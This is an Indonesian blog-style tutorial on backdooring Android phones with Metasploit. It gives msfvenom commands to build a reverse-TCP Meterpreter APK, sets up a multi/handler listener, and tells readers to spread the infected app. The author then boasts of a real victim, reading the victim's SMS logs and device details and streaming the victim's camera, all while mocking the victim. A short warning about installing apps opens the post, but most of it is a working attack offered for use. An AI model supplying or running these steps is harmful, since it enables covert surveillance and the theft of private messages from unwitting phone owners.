Exploit Android dengan Metasploit

Exploit ini menggunakan metode dengan menyisipkan shell ke dalam apk (injeksi).

Buat temen temen harap hati hati kalau mau download dan install aplikasi, karena dengan di injeksi shell, si attacker dapat melakukan exploit/remote/dll kapan saja ketika android terhubung ke internet (meterpreter opened). Apalagi di android yang jarang di lakukan scan antivirus secara berkala.

Exploit Android dengan Metasploit Kali Linux
Pertama tama kita buat terlebih dahulu backdoor beserta apknya

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.186 LPORT=4444 R > mymastahh.apk

192.168.43.186 adalah ip address komputer saya (listener), silahkan disesuaikan dengan ip address milik kalian.
mymastahh.apk merupakan nama aplikasi, silahkan diganti juga sesuai keinginan.

 File apk akan tersimpan di direktori Home

Mari kita jalankan metasploit

msfconsole

Lalu masukkan perintah berikut untuk memulai exploitnya

use exploit/multi/handler
set payload android/metepreter/reverse_tcp
set lhost 192.168.43.186
set lport 4444
exploit

Ganti 192.168.43.186 dengan ip address kalian, seperti saat membuat backdoor tadi

Sekarang sebarkan apk yang sudah kalian sisipkan backdoor
:)

Setelah sekian lama menunggu, akirnya ada korban yang sudah menginstall dan membuka aplikasi terinjeksi backdoor buatan saya :v
Status metepreter session sudah opened, saya sudah memiliki akses penuh terhadap android korban, wkwkwk:v

Info spesifikasi android korban

Log sms android korban
wkwkkwkw kasihan amat kuotanya sudah habis :v

Untuk melihat streaming dari kamera korban gunakan perintah

webcam_stream

Mouse nya nyala :v
Sticker gopro nya bagus juga yak :3